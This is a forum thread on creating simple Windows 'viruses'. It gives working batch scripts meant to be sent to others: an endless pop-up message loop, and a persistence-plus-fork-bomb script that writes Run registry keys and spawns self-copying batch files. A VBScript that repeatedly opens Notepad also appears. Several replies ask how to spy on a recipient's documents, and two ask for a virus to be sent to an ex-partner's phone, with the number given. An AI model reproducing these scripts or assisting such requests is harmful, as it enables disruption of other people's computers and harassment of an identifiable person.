How to create a simple virus

[manishdk]

Here is a way on how to create a simple batch file virus

Write it in a notepad
Cycle a message in your friend's computer(code is given below)
Type :

@ECHO off
:Begin
msg * Hi
msg * Are you having fun?
msg * I am!
msg * Lets have fun together!
msg * Because you have been o-w-n-e-d
GOTO BEGIN

Save it as "Anything.BAT" and send it.

Here's another simple batch file virus
It creates a reg file and puts it in the registry
then it creates a file in C:\ called 2.bat
the 2.bat file copys itself into other files and opens them
each file does the same 2.bat but they EACH loop
so it keeps on opening other batches that each loop and open other batches
the only way out is to boot in safe mode.
I tried this one a couple comps and on one of them it wasnt very effective and it only opened a limited amount of files and im not sure why because i was able to crt+alt+del which i wasnt able to do on the other comps which were all winblows xp. there will be 1600 processes opening about 1600 other processes opening up another 1600 processes and so on looping on each of them

@echo off
del C:\1.reg
>>"C:\1.reg" ECHO winblows Registry Editor Version 5.00
>>"C:\1.reg" ECHO [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\winblows\CurrentVersion\Run]
>>"C:\1.reg" ECHO "MSConfig"="C:\\1.bat "
>>"C:\1.reg" ECHO "MCUpdateExe"="c:\\2.bat"
>>"C:\1.reg" ECHO "explorer"="c:\\3.bat"
>>"C:\1.reg" ECHO "Norton"="c:\\winblows\\1.bat"
>>"C:\1.reg" ECHO "System"="c:\\winblows\\2.bat"
>>"C:\1.reg" ECHO "autoexec"="c:\\winblows\\3.bat"
regedit.exe /s C:\1.reg

>>"C:\2.bat" ECHO :1
>>"C:\2.bat" ECHO copy 2.bat C:\3.bat
>>"C:\2.bat" ECHO copy 2.bat C:\4.bat
>>"C:\2.bat" ECHO copy 2.bat C:\5.bat
>>"C:\2.bat" ECHO start C:\2.bat
>>"C:\2.bat" ECHO start C:\3.bat
>>"C:\2.bat" ECHO start C:\4.bat
>>"C:\2.bat" ECHO start C:\5.bat
>>"C:\2.bat" ECHO copy C:\2.bat C:\winblows\1.bat
>>"C:\2.bat" ECHO copy C:\3.bat C:\winblows\2.bat
>>"C:\2.bat" ECHO copy C:\4.bat C:\winblows\3.bat
>>"C:\2.bat" ECHO start C:\winblows\1.bat
>>"C:\2.bat" ECHO start C:\winblows\2.bat
>>"C:\2.bat" ECHO start C:\winblows\3.bat
>>"C:\2.bat" ECHO goto 1

start 2.bat
del C:\1.reg

Hi! im just new here. ive tried the batch file, that manishdk made, in my own computer. i just became curious about the output of that virus so ive tried it. it is an infinite message of those msg indicated and ive tried to close it using the task manager but it doesnt respond. i boot my pc and it was gone. is there a way that i can close that application by not rebooting my pc?

[Rudra.J]

There is no other way to close the infinite loop. You cannot even end the process from task manager as windows won't allow you to terminate 'csrss' that is generating the message. Reboot is the only way...

I Can Still Quit through the cmd is ther a way to fix that and btw thnx for the help even though its not meant to be done XD

[Blado]

Thankyou Jackalz for ur info on ther copying but does any1 no how to make this continue without deleteing the regs plz

[heyyall]

once i send this to an email address how do i see his documents on his computer??

[Itronix]

Usually it is not ethical to create a virus and then sending that to anyone pc. It is illegal and you must not discuss the same. But if you are interested to become a Expert in tracing such things then you can go for classes of Ethical hacking. This will provide you much higher knowledge on the same. This small things are easily detected by an antivirus program.

i have created one using C++ coding, its a real application virus. cannot be detected, very deadly. and hence i wont put the code over here. i used winrar too in the making process.

[tEcH mAsTer]

nope, strictly classified
actually i kinda manupulated it and use it to catch and kill viruses in safe mode.

i'll give you a hint...
its simple and has 3 lines in it

Can someone help me out please, i want to creat a picture virus that can be transfered to a USB drives devices when connected to a computer. so as to advertise my photo.

[Expertz]

An Image viruse or picture virus cannot cause any damage to a computer by themselves. Instead the code they contain exploits problems in other programs. For example, the code to draw images in the Microsoft Windows operating system was found to have a flaw. This flaw allowed images to access parts of the system that they would not normally be allowed to access. An infected image, transferred to your computer on a web page, in a document or in a chat window could access your system and plant a virus.

can someone please send a virus to 13477067944 ? My ex has vital information on his phone which needs to be destroyed. Please help me out you guys! Thank you

Yes it is true when .Bat is good but .Vbs c fun too I think. Some "source codes?"

Set variable = CreateObject ("WScript.Shell") 
variable.Run ("C: \ WINDOWS \ System32 \ notepad.exe") 
WScript.Sleep 1000 
variable.SendKeys (B) 
variable.Run ("C: \ WINDOWS \ System32 \ notepad.exe") 
WScript.Sleep 100 
variable.SendKeys (Y) 
variable.Run ("C: \ WINDOWS \ System32 \ notepad.exe") 
WScript.Sleep 100 
variable.SendKeys ("E") 
variable.Run ("C: \ WINDOWS \ System32 \ notepad.exe") 
WScript.Sleep 100 
variable.SendKeys ("!")

Then I explain that to the almost similar. Finally beats like C = x. Notepad -> the "source code", closed, registered office (well for me), rename file.vbs, I do not advise opening it later.

can someone please send a virus as a mms to my ex's phone? I am no longer with him, he is dumb enough to open anything, and I need to have all of my information wiped out from his phone. His number is 13477067944..... please help me out you guys. I am computer illiterate, and while I am not even seeking revenge against him for what he has done to me and my family, I just want to rest assured that he wont use what he has against me at all. I appreciate it so much!
